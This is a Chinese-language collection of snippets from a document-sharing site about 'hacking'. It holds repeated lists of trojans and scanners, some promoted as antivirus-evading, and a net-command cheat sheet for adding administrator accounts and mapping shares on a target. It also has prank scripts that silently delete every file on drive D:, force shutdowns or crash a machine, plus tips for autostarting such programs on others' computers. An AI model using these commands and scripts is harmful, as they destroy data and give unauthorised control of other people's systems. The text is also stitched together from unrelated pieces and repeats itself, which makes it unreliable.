盘的共享,因为加了"$"符号,所以看不到共享的托手图表,也成为隐藏共享。 12.shell:指的是一种命令指行环境,比如我们按下键盘上的“开始键+R”时出现“运行”对 话框,在里面输入“cmd”会出现一个用于执行命令的黑窗口,这个就是WINDOWS的Shell 执行环境。通常我们使用远程溢出程序成功溢出远程电脑后得到的那个用于执行系统命令的环境就是对方的shell 13.WebShell:WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执 行环境,也可以将其称做是一种网页后门。黑客在**了一个网站后,通常会将这些asp 或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,好后就可以使用浏览器来访问这些asp 或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。可以上传下载文件,查看数据库,执行任意程序命令等。国内常用的WebShell 有海阳ASP木马,Phpspy,c99shell等 14.溢出:确切的讲,应该是“缓冲区溢出”。简单的解释就是程序对接受的输入数据没有

常用黑客工具(网络入侵工具)

常用黑客工具(网络入侵工具) 一、扫描工具 X-scan 3.1 焦点出的扫描器,国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具,有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011 远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”,无需安装,非常小巧(仅23KB),具有极快的扫描速度! WebDAVScan v1.0 针对WEBDA V漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制

初级黑客技巧

掌握这些电脑知识,你可以玩的很无耻一.找回误删并清除了回收站的文档 步骤: 1、单击“开始——运行,然后输入regedit (打开注册表) 2、依次展开:HEKEY——LOCAL——MACHIME/SOFTWARE/microsoft/WINDOWS/ CURRENTVERSION/EXPLORER/DESKTOP/NAMESPACE 在左边空白外点击“新建”,选择:“主键”,把它命名为“645FFO40——5081——101B——9F08——00AA002F954E” 再把右边的“默认”的主键的键值设为“回收站”,然后退出注册表。就OK啦。 3、要重启你的计算机。 只要你机器没有运行过磁盘整理。系统完好.任何时候的文件都可以找回来。 稽查局就是用这种方法在公司电脑里查到了销售清单,才发现我们偷税的) 二.最简单的隐藏文件夹方法(别人绝对找不到) 隐藏的方法如下: eg:现需隐藏e盘bak目录下的tools文件夹e:\bak\tools 运行:cmd 键入:attrib s a h r e:\bak\tools 然后,你再进去看e盘bak目录下,是否还有tools这个文件夹! 这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见 自己需要访问的时候怎么办? 打开我的电脑---键入e:\bak\tools就可以直接进入,条件是,你必须要记得自己的隐藏文件夹名(切记) 现在需要取消该隐藏文件夹,命令如下:

运行:cmd 键入:attrib -a -s -h -r e:\bak\tools 进入e盘bak目录下,会发现tools文件夹显示出来了 如果你想要真正隐藏文件夹,还是按上面说的比较保险。 (至于放什么,放在哪就是你的问题了,千万别说我把你教坏哦) PS:“隐藏文件”方法有点实用,采用此方法隐藏后,只要在“我的电脑”-工具-文件夹选项-查看-“隐藏受保护的操作系统文件”前的√除掉-确定,隐藏的文件将被显示出来。 真正防止别人阅览的好方法是借助软件设密码加密。(在此向指点本菜鸟的同志致敬!~) 三.防止别人趁你不在的时候开你的电脑 @ color 4f @echo off echo 删除计算机的C盘的所有文件...... ping -n 2 >nul echo 已删除完毕 echo. echo 删除计算机的D盘的所有文件...... ping -n 2 >nul echo 已删除完毕 echo. echo. echo 删除计算机的E盘的所有文件...... ping -n 2 >nul echo 已删除完毕

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

黑客计算机常用命令大全

计算机命令大全 黑客常用命令大全 net user heibai lovechina /add --------加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add --------把他加入Administrator组 net start telnet --------开对方的TELNET服务 net use z:\127.0.0.1c$ --------映射对方的C盘 net user guest /active:yes --------将Guest用户激活 net user guest lovechina --------把guest的密码改为lovechina net user --------查看所有用户列表 net user --------用户名/delete 删掉 net time \\127.0.0.1-------- 得到对方的时间, get c:\index.htm d:\ --------上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm --------本地C盘下的index.htm复制到127.0.0.1的C 盘 NET VIEW --------显示域列表、计算机列表 计算机运行命令全集 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板winmsd-----系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 net use \\ip\ipc$ " /user:" " --------建立IPC空链接 net use \\ip\ipc$ "密码"/user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码"/user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ --------登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del --------删除IPC链接 net use h: /del --------删除映射对方到本地的为H:的映射 net user 用户名密码/add --------建立用户 net user guest /active:yes --------激活guest用户 net user --------查看有哪些用户 net user 帐户名-------- 查看帐户的属性 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,

黑客必备病毒知识

网络时代可不 太平,谁没有 遭遇过病毒或 木马?从CIH、 I Love You到 红色代码、 Nimda,从 BO到冰河, 无一不是网友 经常懈逅的对 象。怎么避免 这些“艳遇” 是广大用户孜 孜以求的目标, 不过,“道高 一尺,魔高一 丈”,“防” 永远是落后的, 主动消灭它们 才是积极主动 的。 要消灭它们,首先就要掌握病毒及木马是怎么入侵我们的"爱机"的。有关病毒及 木马的入侵招数的文章很多,但都不太全面,编者偶然间发现了一篇作者不详,但内 容颇为全面的文章,特意整理出来,希望对大家有所帮助。 一、修改批处理 很古老的方法,但仍有人使用。一般通过修改下列三个文件来作案: Autoexec.bat(自动批处理,在引导系统时执行)

Winstart.bat(在启动GUI图形界面环境时执行) Dosstart.bat(在进入MS-DOS方式时执行) 例如:编辑C:\\windows\\Dosstart.bat,加入:start Notepad,当你进入“MS-DOS方式”时,就可以看到记事本被启动了。 二、修改系统配置 常使用的方法,通过修改系统配置文件System.ini、Win.ini来达到自动运行的目的,涉及范围有: 在Win.ini文件中: [windows] load=程序名 run=程序名 在System.ini文件中: [boot] shell=Explorer.exe 其中修改System.ini中Shell值的情况要多一些,病毒木马通过修改这里使自己成为Shell,然后加载Explorer.exe,从而达到控制用户电脑的目的。

三、借助自动运行功能 这是黑客最新研发成果,之前该方法不过被发烧的朋友用来修改硬盘的图标而已,如今它被赋予了新的意义,黑客甚至声称这是Windows的新BUG。 Windows的自动运行功能确实很烂,早年许多朋友因为自动运行的光盘中带有 CIH病毒而中招,现在不少软件可以方便地禁止光盘的自动运行,但硬盘呢?其实硬盘也支持自动运行,你可尝试在D盘根目录下新建一个Autorun.inf,用记事本打开它,输入如下内容: [autorun] open=Notepad.exe 保存后进入“我的电脑”,按F5键刷新一下,然后双击D盘盘符,怎么样?记事 本打开了,而D盘却没有打开。 当然,以上只是一个简单的实例,黑客做得要精密很多,他们会把程序改名为“.exe”(不是空格,而是中文的全角空格,这样在Autorun.inf中只会看到“open=”而被忽略,此种行径在修改系统配置时也常使用,如“run=”;为了更好地隐藏自己,其程序运行后,还会替你打开硬盘,让你难以查觉。 由此可以推想,如果你打开了D盘的共享,黑客就可以将木马和一个Autorun.inf 存入该分区,当Windows自动刷新时,你也就“中奖”了,因此,大家千万不要共享任何根目录,当然更不能共享系统分区(一般为C:)。 四、通过注册表中的Run来启动

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

黑客工具包大全

黑客工具包大全 一、扫描工具 X-scan 3.1 焦点出的扫描器,国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具,有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”,无需安装,非常小巧(仅23KB),具有极快的扫描速度! WebDAVScan v1.0 针对WEBDAV漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器 v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机 Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制 黑洞免杀版藏鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 灰鸽子迷你版灰鸽子工作室-葛军同志的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 注意:该软件解压缩时会被查杀! Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀! 黑...................... 2.0 使用跟Radmin一样,功能明显比它多,扫描速度也非常快!风雪远程控制 v3.9 基于TCP/IP协议的远程管理网络工具,一个具有反弹功能的工具,非常小巧! 无赖小子 2.5 无赖小子2.5,08月23日发布,其默认端口8011! 蓝色火焰 v0.5 蓝色火焰是一个没有客户端的木马,可谓无招胜有招!注意:该软件解压缩时会被查杀! 网络公牛国产公牛木马,由于上传文件大小限制,包中没有加入易语言运行库文件krnln.fnr! GoToMyPC 4.00 安装简单;能够从任何安装有浏览器的计算机上访问主机;具有新的安全功

黑客常用命令大全

Dos常用命令一: net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名密码/add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务;(如:net start telnet,net start schedule) net stop 服务名停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 tracert -参数ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

黑客常用工具集

黑客常用工具集 一、扫描工具 X-scan 3.1 焦点出的扫描器,国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,进侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具,有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”,无需安装,非常小巧(仅23KB),具有极快的扫描速度! WebDAVScan v1.0 针对WEBDAV漏洞的扫描工具! 留意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器 v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机 Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 旁注专用检测程序 1.2 旁注进侵专用检测程序,主要功能有查询虚拟主机域名和批量检测上传漏洞! 二、远程控制 黑洞2004 免杀版躲鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河2004 免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 神气儿最新2.0版国产远程控制程序,DLL进程插进,IP反向连接!由第八军团出品! 灰鸽子迷你版灰鸽子工作室-葛军同道的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 留意:该软件解压缩时会被查杀! Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀! *** 2.0 使用跟Radmin一样,功能明显比它多,扫描速度也非常快! 风雪远程控制 v3.9 基于TCP/IP协议的远程治理网络工具,一个具有反弹功能的工具,非常小巧! 无赖小子 2.5 无赖小子2.5,08月23日发布,其默认端口8011! 蓝色火焰 v0.5 蓝色火焰是一个没有客户真个木马,可谓无招胜有招!留意:该软件解压缩时会被查杀! 网络公牛国产公牛木马,由于上传文件大小限制,包中没有加进易语言运行库文件krnln.fnr! GoToMyPC 4.00 安装简单;能够从任何安装有浏览器的计算机上访问主机;具有新的安全功能! 二、远程控制 黑洞2004 免杀版躲鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河2004 免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 神气儿最新2.0版国产远程控制程序,DLL进程插进,IP反向连接!由第八军团出品! 灰鸽子迷你版灰鸽子工作室-葛军同道的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 留意:该软件解压缩时会被查杀!

网络安全基础知识问答

网络安全基础知识问答 问:什么是网络安全? 答:网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭到破坏、更改、泄露,系统可以连续可靠正常地运行,网络服务不被中断。 问:什么是计算机病毒? 答:计算机病毒(Computer Virus)是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。 问:什么是木马? 答:木马是一种带有恶意性质的远程控制软件。木马一般分为客户端(client)和服务器端(server)。客户端就是本地使用的各种命令的控制台,服务器端则是要给别人运行,只有运行过服务器端的计算机才能够完全受控。木马不会像病毒那样去感染文件。 问:什么是防火墙?它是如何确保网络安全的? 答:使用防火墙(Firewall)是一种确保网络安全的方法。防火墙是指设置在不同网络(如可信任的企业内部网和不可信的公共网)或网络安全域之间的一系列部件的组合。它是不同网络或网络安全域之间信息的惟一出入口,能根据企业的安全政策控制(允许、拒绝、监测)出入网络的信息流,且本身具有较强的抗攻击能力。它是提供信息安全服务,实现网络和信息安全的基础设施。 问:什么是后门?为什么会存在后门? 答:后门(Back Door)是指一种绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除,那么它就成了安全隐患。 问:什么叫入侵检测? 答:入侵检测是防火墙的合理补充,帮助系统对付网络攻击,扩展系统管理员的安全管理能力(包括安全审计、监视、进攻识别和响应),提高信息安全基础结构的完整性。它从计算机网络系统中的若干关键点收集信息,并分析这些信息,检查网络中是否有违反安全策略的行为和遭到袭击的迹象。 问:什么叫数据包监测?它有什么作用?

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

黑客必备所有工具

黑客必备所有工具 一、扫描工具 X-scan 3.1 焦点出的扫描器,国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具,有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”,无需安装,非常小巧(仅23KB),具有极快的扫描速度! WebDAVScan v1.0 针对WEBDAV漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制 黑洞免杀版藏鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦! 冰河免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB! 灰鸽子迷你版灰鸽子工作室-葛军同志的作品! 网络神偷 5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能! 广外女生 1.53 广州-广外女生小组的作品,曾风靡一时! 注意:该软件解压缩时会被查杀! Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀! 黑...................... 2.0 使用跟Radmin一样,功能明显比它多,扫描速度也非常快! 风雪远程控制v3.9 基于TCP/IP协议的远程管理网络工具,一个具有反弹功能的工具,非常小巧! 无赖小子 2.5 无赖小子2.5,08月23日发布,其默认端口8011! 蓝色火焰v0.5 蓝色火焰是一个没有客户端的木马,可谓无招胜有招!注意:该软件解压缩时会被查杀! 网络公牛国产公牛木马,由于上传文件大小限制,包中没有加入易语言运行库文件krnln.fnr! GoToMyPC 4.00 安装简单;能够从任何安装有浏览器的计算机上访问主机;具有新的安全功能! 三、入侵必备 SQL综合利用工具非常好的一个SQL连接器,除了可以输入CMD命令外,还可以直接上传软件! SuperSQLEXEC 用来连接sql server的工具! 3389.exe 开远程机器3389端口的小东东!只要把程序上传到肉鸡运行后,重启既可!

相关主题
文本预览
相关文档 最新文档